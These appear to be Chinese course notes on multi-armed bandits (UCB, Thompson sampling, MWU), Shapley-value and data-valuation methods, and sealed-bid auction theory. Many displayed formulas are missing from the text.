为了最小化这个上界,我们需要平衡探索成本(随 \(N\) 增加)和利用遗憾(随 \(N\) 减小)。我们令两项的量级相等来找到最优的 \(N\):
将这个最优的 \(N\) 代回遗憾表达式 \(KN\) 中:
最终得到遗憾界为:
\(\epsilon\)-贪心算法
上置信界算法¶
UCB算法期望遗憾界为 \(O\left(\sqrt{KT\log T}\right)\)。
汤普森采样算法¶
汤普森采样采用贝叶斯方法来解决探索-利用困境。其核心思想是为每一个臂(选项)维护一个关于其奖励概率的"信念",这个"信念"通过一个概率分布来表示。
在做决策时,算法并不是直接选择当前看起来最好的臂,而是**为每个臂的"信念"分布进行一次采样**,然后选择被采样出最高值的那个臂。
-
探索 :如果一个臂的"信念"分布很宽(意味着不确定性很高),那么它既有可能被采样出很高的值(从而被选中去探索),也有可能被采样出很低的值。
-
利用 :如果一个臂被选择了很多次,其"信念"分布会变得很窄,集中在其真实的奖励概率附近。如果这个概率很高,那么每次采样出的值都会很高,从而被稳定地利用。
在获得奖励后,算法会根据奖励结果更新被选择臂的"信念"分布,使其更接近真实情况。
具体而言,汤普森采样算法通常使用 **Beta 分布**来作为每个臂的奖励概率的信念分布。这在奖励为二元(成功/失败,即伯努利试验)的场景下尤其方便。
算法流程
- Beta 分布:
- 我们使用 Beta 分布 \(\text{Beta}(\alpha, \beta)\) 来为每个臂的成功概率建模。
- 参数 \(\alpha\) 和 \(\beta\) 可以直观地理解为观测到的 成功次数 和 失败次数 。
-
当 \(\alpha\) 增大时,分布的质量会向 1 集中;当 \(\beta\) 增大时,分布会向 0 集中。
-
算法流程:
- 初始化: 为每个选项 \(k\),初始化其成功次数 \(S(a_k) = 0\) 和失败次数 \(F(a_k) = 0\)。
- 循环: 在每一轮 \(t = 1, \dots, T\) 中:
a. 采样: 对每个臂 \(k\),从其当前的信念分布 \(\text{Beta}(S(a_k) + 1, F(a_k) + 1)\) 中采样一个随机值 \(\theta_k\)。
b. 选择: 选择本轮采样值 \(\theta\) 最高的臂 \(a_t = \underset{k}{\operatorname{argmax}}(\theta_k)\)。
c. 执行与更新: 拉动臂 \(a_t\),观察奖励 \(r_t\)。
- 如果成功 (\(r_t = 1\)),则更新该臂的成功计数:\(S(a_t) \leftarrow S(a_t) + 1\)。
- 如果失败 (\(r_t = 0\)),则更新该臂的失败计数:\(F(a_t) \leftarrow F(a_t) + 1\)。
这个过程会不断重复,通过贝叶斯更新,每个臂的 Beta 分布会越来越准确地反映其真实的成功概率,从而使得算法能更快地收敛到最优臂。
Question
对抗性多臂老虎机¶
对抗性多臂老虎机
对抗性多臂老虎机(Adversarial MAB)问题是多臂老虎机(MAB)问题的一种变体。 与随机多臂老虎机问题不同,对抗性多臂老虎机中的奖励(或代价)是由对手动态生成的,而不是从固定的奖励分布中随机抽取的。对手可能会根据玩家的策略进行调整,从而形成对抗性。其基本模型如下: 在每一步 \(t=1,2,\dots,T\) 中:
- 玩家在行动集合 \([n]=\{1,\dots,n\}\) 上选择一个概率分布 \(p_t\);
- 对手在已知 \(p_t\) 的情况下选择一个代价向量 \(c_t\in[0,1]^n\),为每个行动分配一个代价;
- 玩家根据概率分布 \(p_t\) 选择一个行动 \(i_t\),并观察到该行动的代价 \(c_t(i_t)\);
- 玩家学习整个代价向量 \(c_t\),以调整未来的策略。
注:
- 玩家的目标是选择一个策略序列 \(p_1,p_2,\dots,p_T\),使得总代价最小化(相对于奖励最大化),即最小化期望代价 \(\mathbb{E}_{i_t\sim p_t} \left[\sum_{t=1}^{T} c_t(i_t)\right]\)。
- 对手不一定真实存在,这只是一个最坏情况分析;
- 在这种情况下,玩家不仅能学习到所选行动的代价,还能学习到所有行动的代价,因此这是一个全反馈的情境,与之前的情况不同。
通俗的解释
你面前有一排老虎机。每台机器的中奖概率是固定的,但你不知道具体是多少。你的任务是通过不断尝试,尽快找出哪台机器最好(中奖概率最高),然后一直玩那台。这就像是在和一个"诚实但守口如瓶"的赌场老板玩,规则是固定的,只是你不知道而已。 现在,我们来看看对抗性多臂老虎机: 这次,你面对的不再是固定的机器,而是一个"狡猾的"赌场老板。这个老板知道你心里在想什么。
- 不再有固定的"最佳选择":与之前不同,这里没有哪一台机器是永远最好的。老板会每一轮都重新设置所有机器的"代价"(你可以理解为玩一次要花的钱,或者奖励的反面)。
- 对手知道你的策略:在你出手之前,你可能会想好一个策略,比如"我今天有70%的可能去玩1号机,30%的可能去玩2号机"。这个狡猾的老板能看穿你的策略。
- 对手会针对你:老板看到你今天大概率要玩1号机,他就会立刻把1号机的代价调得非常高,让你付出惨重代价。同时,他可能会把你基本不考虑的那些机器的代价调得很低。
- "事后诸葛亮":在你玩完一把之后(比如你按计划玩了1号机,付出了高昂代价),老板会把所有机器这一轮的代价都告诉你。你会发现,果然你没选的那些机器代价都很低。这个"事后全盘信息"(在模型里叫 full feedback)是这个模型的一个关键特点,能帮助你调整下一轮的策略。
遗憾的定义¶
第一种遗憾定义的想法是,与所有轮次结束后(每一轮的成本都已知)的事后最优作差,然而下面的例子表明这一定义是不合理的
Example
设行动集合为 \(\{1,2\}\),在每一轮 \(t\),对手按如下步骤选择代价向量:假设算法选择一个概率分布 \(p_t\),如果在此分布下选择行动 1 的概率至少为 \(\frac{1}{2}\),那么 \(c_t = (1,0)\),反之 \(c_t = (0,1)\)。在此情况下,在线算法期望代价至少为 \(\frac{T}{2}\),而在事先知晓代价向量的情况下,最优算法的期望代价为 0。
这一例子表明,与事后最优比较可能出现线性级别的遗憾,因此这一基准太强了。因此转而将遗憾定义为在线算法与最优固定行动事后代价之差。
遗憾的定义
固定代价向量 \(c_1, c_2, \ldots, c_T\),决策序列 \(p_1, p_2, \ldots, p_T\) 的遗憾为
即遗憾被定义为和每轮都选择同一行动的最优的固定行动的代价之差,这样的定义相对而言更加合理:
- 在前面的例子中,固定策略序列(全选 0 或 1)的遗憾不再是简单的 0;
- 平均遗憾:\(\frac{R_T}{T}\)。若 \(T \to \infty\),\(R_T = o(T)\),则称算法是无遗憾(no-regret)的,等价的即 \(R_T\) 关于 \(T\) 是次线性的;
- 这一定义的合理在于,有自然的算法实现无遗憾,但无悔的实现也不是平凡的。
跟风算法¶
跟风算法
跟风算法指在每一个时间点\(t\),选择最小累积代价
的行动\(i\)。
随机化是无悔的必要条件
若算法是无悔的,则策略是随机化的,只需要证明若策略是确定性的,则算法不是无悔的。
对于确定性算法,对手可以直接推断出我们的行为,从而在每一步设置我们选择的行为代价为1,其它代价为0;
这样,总代价为\(T\),而最优固定行动的代价不会超过\(\dfrac{T}{n}\),因此遗憾为\(1-\dfrac{1}{n}\),不是无悔的。
如果采用随机策略,则对手只能推断出我们的概率分布 \(p_t\),而不能推断出我们的具体行动 \(i_t \sim p_t\),因此对手无法完美利用我们的算法。
MWU算法¶
引入
考虑一个简化的在线学习场景,每个行动的代价之可能为 0 或 1,并且存在一个完美的行动,其代价永远为 0(但玩家一开始不知道哪个是完美行动),是否存在次线性遗憾的算法?
观察:只要一个行动出现了非零代价,那就可以永远排除它,但我们并不知道剩余行动中哪个最好; 可以设计算法如下:对每一步 \(t=1,2,\dots,T\),记录截至目前从没出现过代价 1 的行动,然后在这些行动中根据均匀分布随机选择一个行动。
对于任意 \(\epsilon \in (0, 1)\),下面两种情况之一一定会发生:
- \(S_{\text{good}}\) 中至少 \(\epsilon k\) 个行动有代价 1,此时这一阶段的期望代价至多为 \(\epsilon\)(均匀分布,每个行动的概率为\(\dfrac{1}{k}\),选中\(\epsilon k\)个行动的概率为\(\epsilon\),因此期望代价为\(\epsilon\));
- \(S_{\text{good}}\) 中至多 \(\epsilon k\) 个行动有代价 1,每次出现这一情况时,下一步就可以排除掉至少 \(\epsilon k\) 个行动,因此这种情况最多出现 \(\log_{1-\epsilon} \frac{1}{n}\) 次(每一次都只剩下\(k(1-\epsilon)\)个行动,因此最多出现\(m\)次,有\(n(1-\epsilon)^m = 1\))。
因此总的遗憾至多为(放缩后)
最后的不等号导来源于 \(-\ln(1-\epsilon) \geq \epsilon (0 < \epsilon < 1)\)。显然当 \(\epsilon = \sqrt{\frac{\ln n}{T}}\) 时,\(R_T \leq 2\sqrt{T \ln n}\),即次线性遗憾。
初始化权重为1,每次挑选之后,查看此次的代价向量\(c_t\),如果\(c_t(i) = 1\),则将\(i\)的权重变小,下一次根据权重随机挑选
上图中第二种算法就是乘性权重(Multiplicative Weights Update, MWU)算法。算法的直观是,根据每个行动在之前阶段的表现来决定下一阶段的权重,即表现好的行动权重增加,表现差的行动权重减少。
Note
乘性权重算法在之前的问题设定下的遗憾至多为 \(O(\sqrt{T \ln n})\)。
Proof
多臂老虎机应用¶
动态定价问题
Quote
假设你要出售一份数据,你知道会有 \(N\) 个人来购买你的数据,并且每个人对数据的估值 \(v\) 都完全一致,都在 \([0,1]\) 中。买家是逐个到达的,你需要提供一个价格 \(p\),如果 \(v \geq p\),买家就会购买你的数据,否则买家会离开。你的目标是尽快地学习到 \(v\) 的值,误差范围是 \(\epsilon = \frac{1}{N}\)。
如果你确遇到了最坏的情况,\(\log N\) 次搜索之后,可以设置到价格 \(p \geq \bar{v} - \frac{2}{N}\),其中 \(\bar{v}\) 是我们第 \(\log N\) 轮学习到的值;
在这种情况下,\(N\) 轮之后的总收益是:
- 则二分搜索的遗憾为 \(R \approx vN - (vN - v\log N - 2) = v\log N + 2\);
- 这是最小的可能遗憾吗?
定理
存在一个改进的算法,使得其遗憾至多为 \(1 + 2\log\log N\)。
- 尽管二分搜索是在没有任何先验信息的情况下能搜索到 \(N\) 的最快算法, 但当猜测的 \(p_i > v\) 时, 卖家一分钱也赚不到;
- 也就是说, 二分搜索在向上探索的时候可能过于激进, 因此改进的算法需要在探索时更加保守
改进算法¶
证明
首先需要分析区间长度 \(b_i - a_i\) 的特点,有如下结论:
引理
\(\Delta_i = 2^{-2^{j-1}}\),并且当 \(\Delta_{i+1} = (\Delta_i)^2\) 时,\(b_{i+1} - a_{i+1} = \Delta_i = \sqrt{\Delta_{i+1}}\)。
第一个结论根据数学归纳法可以证明:
- 当 \(i=1\) 时,\(\Delta_1 = \frac{1}{2} = 2^{-2^0}\);
- 假设对于 \(i=k\) 成立,即 \(\Delta_k = 2^{-2^{j-1}}\),则
第二个结论,当 \(\Delta_{i+1} = (\Delta_i)^2\) 时,根据算法直接得到 \(b_{i+1} - a_{i+1} = \Delta_i = \sqrt{\Delta_{i+1}}\)。
- 在 \(b_i - a_i \le \frac{1}{N}\) 后,总的遗憾最多为 \(N \times \frac{1}{N} = 1\);
- 因此重点在于分析达到这一步之前的遗憾;
- 在达到这一步之前 \(\Delta\) 更新了多少次?
- \(\log \log N\):令 \(2^{-2^i} = \frac{1}{N}\),则 \(2^i = \log N\),则 \(i = \log \log N\);
- 接下来就要证明每个 \(\Delta_i\) 内产生的遗憾是有限的。
引理
任意的步长 \(\Delta_i\) 内的遗憾至多为 2。
- 如果在 \(\Delta_i\) 下直接被拒绝,遗憾至多为 1;
- 如果发生出售,则最多出售 \(\frac{\sqrt{\Delta_i}}{\Delta_i}\) 次,因为 \(\Delta_{i-1} = \sqrt{\Delta_i}\),如果超出这个次数,那么 \(\Delta_{i-1}\) 在前面的步骤不会更新;
-
因此出售过程中的遗憾最多为
\[ \frac{\sqrt{\Delta_i}}{\Delta_i} \times \sqrt{\Delta_i} = 1. \]
综合上述两个引理可以得到改进算法的遗憾为 \(1 + 2\log\log N\)。
合作博弈与沙普利值¶
约 2422 个字 6 张图片 预计阅读时间 8 分钟
合作博弈¶
合作博弈
一个具有可转移效用(transferable utility)的合作博弈(或称为 TU 博弈)是一个满足如下条件的二元组 \((N, v)\):
- \(N=\{1,2,...,n\}\) 是一个有限的参与者集合;一个 \(N\) 的子集被称为一个联盟(coalition),全体联盟构成的集合记为 \(2^N\);
- \(v:2^N \rightarrow \mathbb{R}\) 称为该博弈的特征函数(characteristic function),对于任意的 \(S \subseteq N\),\(v(S)\) 表示联盟 \(S\) 的价值(worth),且满足 \(v(\emptyset)=0\)
Example
考虑一个场景,假设有三个人A,B,C,他们的特点分别如下:
- A擅长于发明专利,依靠这一才能年收入达17万美元;
- B有机敏的商业嗅觉,能准确发掘潜在市场,创建商业咨询公司年收入可达15万美元;
- C擅长市场营销,开办专门的销售公司年收入可达18万美元。
显然,三个人的才能互补,于是他们考虑合作:
- B可以为A提供市场资讯,将A的发明专利卖给市场上最有需求的人,这样他们合作每年收入可达35万美元;
- C利用他的才能销售A的发明专利,合作年收入可达38万美元;
- 当然B和C也可以合作组建一个提供市场咨询和销售一体化的公司,这样每年合作收入可达36万美元;
- 最后A,B,C如果共同合作,A在B的建议下发明最符合市场需求的专利,然后由C进行销售,这样他们合作每年收入可达56万美元。
现在可以用定义形式化这一博弈:不难得到 \(N = \{A, B, C\}\),全体联盟构成的集合
则该场景可以表示为一个合作博弈 \((N, v)\),其中特征函数 \(v\) 定义如下:
合作博弈的解概念
一个合作博弈 \((N, v)\) 的解概念是一个函数 \(\varphi\),它将每个博弈 \((N, v)\) 与一个 \(\mathbb{R}^n\) 的子集 \(\varphi(N, v)\) 联系起来。如果对于任意的博弈 \(\varphi(N, v)\) 都是一个单点集,则称这一解概念为单点解(point solution)。
更通俗地说,合作博弈的解概念就是一个将每个博弈映射到一个可行的收入分配集合的函数,这个集合中的每个元素是一个分配向量 \((\varphi_1, \varphi_2, \ldots, \varphi_n)\),其中 \(\varphi_i\) 表示参与者 \(i\) 在当前分配下可以获得的收入。
Example
核¶
核
一个合作博弈 \((N, v)\) 的核(core)是一个解概念 \(\varphi\),其中 \(\varphi(N, v)\) 由满足以下两个条件的分配向量 \((x_1, x_2, \ldots, x_n)\) 组成:
-
有效率的(efficient) : \(\sum_{i=1}^n x_i = v(N)\),即所有参与者分完了整个联盟的全部收入;
-
联盟理性(coalitionally rational) : 对于任意的 \(S \subseteq N\),有 \(\sum_{i \in S} x_i \geq v(S)\),即对于任何联盟而言,他们在大联盟中分配到的收入一定不会比离开大联盟组成小联盟获得的收入少。
Example
也存在核为空集的博弈
Shapley Value¶
Shapley Value
想象一下,你和几个朋友一起合作完成一个大项目,最后赚了一大笔奖金。现在要分这笔钱,怎么分才最公平呢?每个人都觉得自己的贡献最大。
沙普利值就是为了解决这个“公平分钱”问题而提出的一种数学方法。
一个参与者应得的报酬,等于他/她在所有可能的合作顺序中,为团队带来的“平均边际贡献”。
我们来拆解这个核心思想:
-
边际贡献 (Marginal Contribution) 这指的是当你加入一个已经存在的团队时,你为这个团队**额外增加**了多少价值。
- 比如,原来团队能赚100万,你加入后,团队能赚125万。那么你这次的“边际贡献”就是25万。
-
所有可能的合作顺序 你加入团队的时机不同,你的“边际贡献”可能也不同。
- 如果你是 第一个 加入的,你的贡献就是你单干的价值。
- 如果你是 最后一个 加入的,你的贡献是“满员团队的价值”减去“少你一人的团队价值”。
- 为了公平,我们必须考虑到你加入团队的所有可能顺序(第一个加入、第二个加入……最后一个加入)。
-
取平均值 沙普利值会计算出你在每一种加入顺序下的“边际贡献”,然后把它们全部加起来,再除以总的顺序数量,得到一个平均值。这个平均值,就被认为是你应该得到的、最公平的报酬。
我们用这个思想来计算一下A应该分多少钱:
总共有 \(3! = 6\) 种可能的合作顺序:
| 顺序 | A的“边际贡献”计算 | A的贡献值 |
|---|---|---|
| A, B, C | A第一个加入,贡献是 v({A}) |
17 |
| A, C, B | A第一个加入,贡献是 v({A}) |
17 |
| B, A, C | B先来,A再加入。贡献是 v({A,B}) - v({B}) = 35-15 |
20 |
| C, A, B | C先来,A再加入。贡献是 v({A,C}) - v({C}) = 38-18 |
20 |
| B, C, A | B,C先来,A最后加入。贡献是 v({A,B,C}) - v({B,C}) = 56-36 |
20 |
| C, B, A | C,B先来,A最后加入。贡献是 v({A,B,C}) - v({C,B}) = 56-36 |
20 |
现在我们把A在所有情况下的贡献加起来求平均:
所以,按照沙普利值的公平分配方案,A应该得到19万美元。
用同样的方法,我们也可以算出B和C的应得报酬。
沙普利值的性质
-
提供唯一的“公平解”:与“核(Core)”可能存在多个解或无解的情况不同,沙普利值对于任何合作博弈,总能给出一个唯一的、确定的分配方案。这在现实决策中非常重要。
-
“公平”有严格的数学公理支撑:它的公平性不是凭感觉,而是满足一系列被广泛接受的公平原则(如:贡献相同的人收益相同;没有贡献的人收益为零;总收益被全部分配完毕等)。
Shapley Value 的形式化定义¶
记号定义
令 \(\varphi\) 为一个单点解,即对于任意的合作博弈 \((N; v)\)(其中 \(N = \{1, 2, \ldots, n\}\)),\(\varphi_i(N; v)\) 都是一个单点集,也就是唯一一个 \(\mathbb{R}^n\) 中的向量。我们定义 \(x(\varphi_i(N; v))\) 为向量 \(\varphi(N; v)\) 中的第 \(i\) 个位置的元素,即 \(\varphi_i(N; v)\) 表示参与者 \(i\) 在博弈 \((N; v)\) 中的分配到的收入。
-
一个解概念 \(\varphi\) 是有效率的 (efficiency),若对于任意的合作博弈 \((N; v)\)(其中 \(N = \{1, 2, \ldots, n\}\)),有 \(\sum_{i=1}^{n} \varphi_i(N; v) = v(N)\)。这与核的要求一致。
-
一个解概念 \(\varphi\) 是对称的 (symmetry),若对于任意的合作博弈 \((N; v)\) 和任意的 \(i, j \in N\),如果对于任意的 \(S \subseteq N \setminus \{i, j\}\),有 \(v(S \cup \{i\}) = v(S \cup \{j\})\),则 \(\varphi_i(N; v) = \varphi_j(N; v)\)。这意味着如果两个参与者对所有可能的合作子集的贡献相同,那么他们应该得到相同的分配。
-
一个解概念 \(\varphi\) 是零贡献者的 (null player),若对于任意的合作博弈 \((N; v)\) 和任意的 \(i \in N\),如果对于任意的 \(S \subseteq N \setminus \{i\}\),有 \(v(S \cup \{i\}) = v(S)\),则 \(\varphi_i(N; v) = 0\)。这意味着如果一个参与者对任何合作子集都没有增加价值,那么他们的分配应该为零。
Example
设定 \(P_i(\sigma) = \{j \in N \mid \sigma(j) < \sigma(i)\}\)
即在排序 \(\sigma\) 中位于参与人 \(i\) 前面的所有参与人的集合。例如若在排序 \(\sigma\) 下参与人 \(i\) 排在了第一位,那么 \(P_i(\sigma) = \varnothing\)。
Shapley Value
令 \((N; v)\) 是一个合作博弈,其中 \(N = \{1, 2, \ldots, n\}\),参与人 \(i\) 的沙普利值定义为
其中 \(S_n\) 表示所有参与人的排列集合,\(P_i(\sigma)\) 表示在排列 \(\sigma\) 中位于参与人 \(i\) 前面的所有参与人的集合。
这个公式表示在所有可能的参与人排列中,计算参与人 \(i\) 的边际贡献的平均值。
对于合作博弈 \((N; v)\),其中 \(N = \{1, 2, \ldots, n\}\),参与人 \(i\) 的沙普利值定义为
其中 \(S \subseteq N \setminus \{i\}\) 表示不包含参与人 \(i\) 的所有子集。这个公式表示在所有可能的子集中,计算参与人 \(i\) 的边际贡献的加权平均值。
即对于前面是集合 \(S\) 的子集,后面是集合 \(N \setminus (S \cup \{i\})\) 的子集,一共有 \(|S|!(n - |S| - 1)!\) 种组合,每种组合的贡献是 \(v(S \cup \{i\}) - v(S)\)。总的情况数是 \(n!\)。
留一法¶
一个常见的思路是采用逆向思维来评估数据集 \(D_i\) 的贡献,即考虑在没有数据 \(D_i\) 的情况下,模型性能会受到多大影响。这就是留一法(leave-one-out,简称 LOO)的核心思想。基于留一法,数据价值 \(\varphi_i\) 的定义如下:
即,使用完整数据集训练的模型表现与去除数据 \(D_i\) 后训练的模型表现之间的差异。换句话说,这表示在已有其他数据集的情况下,加入 \(D_i\) 后模型性能的提升程度。这个定义的直观合理性在于,如果数据 \(D_i\) 对模型贡献很大,那么去除 \(D_i\) 后模型表现应当显著下降,即 \(\varphi^{\text{LOO}}_i\) 的值应当较大。
然而,留一法存在一个缺陷:如果 \(D_i = D_j\),显然 \(\varphi^{\text{LOO}}_i = \varphi^{\text{LOO}}_j = 0\),因为去掉数据 \(D_i\) 或 \(D_j\) 后,由于存在完全重复的数据,模型表现不会受到影响。
Data Shapley¶
Data-Shapley 的公式定义基于 Shapley 值的概念,用于评估数据集中每个数据点 \(D_i\) 对模型性能的贡献。
首先,我们来看第一个公式:
Note
其实这个形式可以转化为我们之前考虑的组合的形式,只需要在分子分母同时乘以 \((n-1)!\) 即可。
而
这就是我们熟悉的形式了
- \(\varphi_i^{\text{Shap}}\): 表示数据点 \(D_i\) 的 Data-Shapley 值。它量化了 \(D_i\) 对模型性能的平均贡献。
- \(n\): 数据集中所有数据点的总数。
- \(S\): 是原始数据集 \(D\) 中不包含 \(D_i\) 的任意子集(联盟)。
- \(D \setminus \{D_i\}\): 表示从整个数据集 \(D\) 中移除数据点 \(D_i\) 后剩余的数据集。
- \(S \subseteq D \setminus \{D_i\}\): 表示 \(S\) 是从 \(D \setminus \{D_i\}\) 中选择的子集。
- \(U(S)\): 表示使用数据集 \(S\) 训练模型后获得的性能(例如,准确率、F1 分数等)。
- \(U(S \cup \{D_i\})\): 表示在数据集 \(S\) 的基础上,加入数据点 \(D_i\) 后训练模型获得的性能。
- \(U(S \cup \{D_i\}) - U(S)\): 这部分代表了在给定联盟 \(S\) 的情况下,数据点 \(D_i\) 对模型性能的“边际贡献”(marginal contribution)。
- \(\binom{n-1}{|S|}\): 这是一个二项式系数,表示在剩余的 \(n-1\) 个数据点中,选择 \(|S|\) 个数据点组成联盟 \(S\) 的方式的数量。这个项用于对不同大小的联盟进行加权,确保每个数据点在所有可能的联盟中的边际贡献被公平地考虑。
- \(\frac{1}{n} \sum_{S \subseteq D \setminus \{D_i\}} \dots\): 整个表达式表示对 \(D_i\) 在所有可能联盟中的边际贡献进行平均。前面的 \(\frac{1}{n}\) 是一个归一化因子。
进一步地,引入 \(\Delta_j(D_i)\) 的概念:
- \(\Delta_j(D_i)\): 表示加入数据集 \(D_i\) 后,对所有大小为 \(j\) 的联盟带来的模型训练结果提升的平均值。它被称为 \(D_i\) 对大小为 \(j\) 的联盟的“边际贡献”。
- \(|S|=j\): 表示只考虑大小为 \(j\) 的联盟 \(S\)。
- \(\frac{1}{\binom{n-1}{j}}\): 用于对所有大小为 \(j\) 的联盟中 \(D_i\) 的边际贡献进行平均。
基于此,Data-Shapley 的定义可以进一步改写为:
这个公式解释了 Data-Shapley 值是数据点 \(D_i\) 对所有不同大小的联盟的边际贡献的平均。具体来说:
- 对于每个可能的联盟大小 \(j\) (从 0 到 \(n-1\)),计算 \(D_i\) 对该大小的所有联盟的平均边际贡献 \(\Delta_j(D_i)\)。
- 然后,将这些不同大小联盟的平均边际贡献 \(\Delta_j(D_i)\) 加起来,再除以 \(n\)。
Beta Shapley
在 Data-Shapley 中,数据对任意大小的联盟的贡献是平等对待的。也就是说,一个数据集对小的联盟的贡献和对大的联盟的贡献在 Data-Shapley 中具有相同的权重。然而,一个自然的问题是,当联盟本身已经很大时,此时再加入一个数据集,对联盟的贡献通常而言会比较小,所以对较大联盟的边际贡献应该适当给予降低。因此更进一步,在数据估值中,如果对较大联盟的边际贡献权重适当给予缩小,更加重视对较小联盟的边际贡献,可能对数据集的评估会更加准确。基于此,Beta-Shapley 的定义为:
其中,\(w_j\) 是一个权重因子,用于调整不同大小联盟的边际贡献在总和中的权重。
Data Banzhaf
Data-Banzhaf 的定义如下:
从 Data-Banzhaf 的公式中可以看出,实际上是将 \(D_i\) 对所有 \(2^{n-1}\) 个联盟 \(S \subseteq D \setminus \{D_i\}\) 的贡献取平均。与 Data-Shapley 不同,Data-Banzhaf 对每个单独的联盟的权重是相同的。
- \(2^{n-1}\): 表示所有可能的联盟数量。
- \(U(S \cup \{D_i\}) - U(S)\): 表示数据点 \(D_i\) 对联盟 \(S\) 的边际贡献。
Data-Banzhaf 提供了一种不同的视角,即对随机学习算法的优化进行改进。
多项式时间复杂度游戏
前面一项单独对空集的贡献提取出来,后面对于每一种j比i小的情况累加,上面的二项式系数是从j-1个挑出k个比j小的,下面的二项式系数是从n-1个挑出k+1个,因为此时的联盟大小是k+1,这是shapley的系数。
另外一种方法是,将跑道视为分段修建。假设各航空公司的需求已排序,即 \(c_1 \le c_2 \le \dots \le c_n\)。我们将成本分摊过程分解如下:
-
第一段 (长度 0 到 \(c_1\)):
- 成本: \(c_1\)。
- 受益者: 所有 \(n\) 家公司。
- 分摊: 成本由 \(n\) 家公司平分,每家分摊 \(\frac{c_1}{n}\)。
-
第二段 (长度 \(c_1\) 到 \(c_2\)):
- 成本: \(c_2 - c_1\)。
- 受益者: 剩下 \(n-1\) 家公司。
- 分摊: 成本由 \(n-1\) 家公司平分,每家分摊 \(\frac{c_2 - c_1}{n-1}\)。
-
第 \(j\) 段 (长度 \(c_{j-1}\) 到 \(c_j\)):
- 成本: \(c_j - c_{j-1}\)。
- 受益者: 剩下 \(n-j+1\) 家公司。
- 分摊: 成本由 \(n-j+1\) 家公司平分,每家分摊 \(\frac{c_j - c_{j-1}}{n-j+1}\)。
... 以此类推,直到最后一段。
航空公司 \(i\) 需要长度为 \(c_i\) 的跑道,因此它参与了前 \(i\) 段的成本分摊。其应付的总成本(即沙普利值)为:
拍卖与机制设计基础¶
约 6307 个字 4 张图片 预计阅读时间 22 分钟
拍卖理论基础¶
拍卖形式
- 公开拍卖
- 英式拍卖:公开升价式拍卖
- 荷兰式拍卖:公开降价式拍卖
- 密封拍卖
- 第一价格密封出价拍卖,价高者得,支付自己的报价
- 第二价格密封出价拍卖,价高者得,支付第二高的报价
- 有的拍卖中会设置保留价格(reserve price),指卖家在拍卖开始前设定的最低出售价格。如果所有报价都低于保留价格,卖家选择不卖出物品。当然有的拍卖也会设置入场费(entry fee),即所有参与者在拍卖开始前需要支付的费用,无论是否赢得拍卖。
- 反向拍卖(reverse auction)是卖家报价的,在反向拍卖中,买家作为拍卖师通常具有一些采购需求,竞拍者是待采购商品的卖家,买家通过卖家的投标,结合其提供的商品质量决定选择哪些卖家的商品。不难发现,常见的招标就可以使用反向拍卖的方式进行。
单物品密封拍卖的一般框架¶
- 一个卖家拥有一个不可分割的物品待出售;
- 存在 \(n\) 个潜在买家(竞拍者)\(N=\{1,2,\dots,n\}\);
- 每个买家 \(i\) 对物品有一个心理价位(估值)\(t_i\),但 \(t_i\) 对卖家和其他买家来说是不完全信息(即 \(t_i\) 是买家的类型);
- 买家估值的先验概率密度 \(f_i :[a_i,b_i]\rightarrow\mathbb{R}^+\) 是共同知识,其中 \(a_i\) 和 \(b_i\) 是买家 \(i\) 估值的下界和上界;
- 假设 \(f_i\) 连续且 \(f_i(t_i)>0\) 对所有 \(t_i \in[a_i,b_i]\) 成立,则 \(t_i\) 的分布函数 \(F_i(t_i) = \int_{a_i}^{t_i} f_i(s_i) \, ds_i\), 分布函数在 \(t_i\) 处的值表示买家 \(i\) 的心理价位小于等于 \(t_i\) 的概率;
-
卖家对物品也有一个估值,表示物品未售出时卖家持有的效用,记为 \(t_0\),该信息是共同知识。为简化讨论,假定 \(t_0=0\)。
-
每个买家对物品的估值是私人信息,但具有先验分布的共同知识。
- 每个买家 \(i\) 的策略是选择一个报价 \(b_i\)。
- 卖家没有策略,只需根据给定的拍卖规则(如一价或二价),基于买家的报价 \(\mathbf{b}=(b_1,\dots,b_n)\),决定博弈的结果 \((\mathbf{x},\mathbf{p})\)。
- 其中,\(\mathbf{x}\) 是物品的分配规则,\(x_i(\mathbf{b})\) 表示买家 \(i\) 在所有竞拍者投标为 \(\mathbf{b}\) 时获得物品的概率。
- \(\mathbf{p}\) 是支付规则,\(p_i(\mathbf{b})\) 表示买家 \(i\) 在所有竞拍者投标为 \(\mathbf{b}\) 时需要支付的价格。在单物品拍卖中,要求
即只有一个物品待出售。如果等于 1,代表物品总会卖出去;如果小于 1,代表卖家可能选择不卖出物品。注意,\(x_i(\mathbf{b})\) 不一定只取 0 和 1,也可能是一个概率。
给定一个分配结果 \((x,p)\),每个买家 \(i\) 的效用以拟线性效用函数的形式表达为
其中 \(x_i(b)t_i\) 表示买家 \(i\) 获得物品的期望收益(获得物品的概率乘以物品的效用),\(p_i(b)\) 表示买家 \(i\) 需要支付的价格。 注意无论什么类型的拍卖,最终的结果都是由分配规则和支付规则决定。
单物品第二价格拍卖¶
首先根据上述讨论形式化第二价格拍卖。在第二价格拍卖中,假设买家投标为 \(\mathbf{b}=(b_1, \dots, b_n)\),那么最终的分配规则 \((\mathbf{x}, \mathbf{p})\) 为
即报价最高的买家赢得物品,但只需要支付第二高的报价。
有多个买家报出相同的最高报价时该如何处理?
- 一方面由于每个买家的估值服从连续分布,因此这种情况的概率为 0;
- 另一方面即使出现这种情况,卖家也可以随机选择一个报价最高的买家赢得物品打破平局;
- 如果没有特别说明,都忽略多个买家报出相同最高报价的情况。
第二价格拍卖的博弈均衡非常简单且具有良好的性质:
二价拍卖诚实占优
在单物品第二价格拍卖中,即每个竞拍者将自身估值 \(t_i\) 作为报价 \(b_i\) 得到的 \(\mathbf{b}=(t_1, \dots, t_n)\) 是(弱)占优策略均衡。简而言之,所有竞拍者诚实报价是(弱)占优策略均衡。
诚实报价是占优策略是二价拍卖的一个非常重要的性质:
- 竞拍者参与二价拍卖时的策略非常简单:只需要将自己的估值作为报价即可,不需要考虑与其他竞拍者的复杂关系;
- 另一方面,诚实报价可以显示竞拍者的真实估值,从而打破信息不对称,卖家只需直接选出报价最高的竞拍者即可实现社会福利最大化;
- 因为社会福利就等于拥有物品的人对物品的估值,因此最大化社会福利就要将物品转移到对其估值最高的人手中。
证明
考虑任意的竞拍者 \(i\),设 \(p_i = \max_{j \neq i} b_j\),即 \(p_i\) 是除了 \(i\) 之外的所有竞拍者的最高报价。分三种情况讨论:
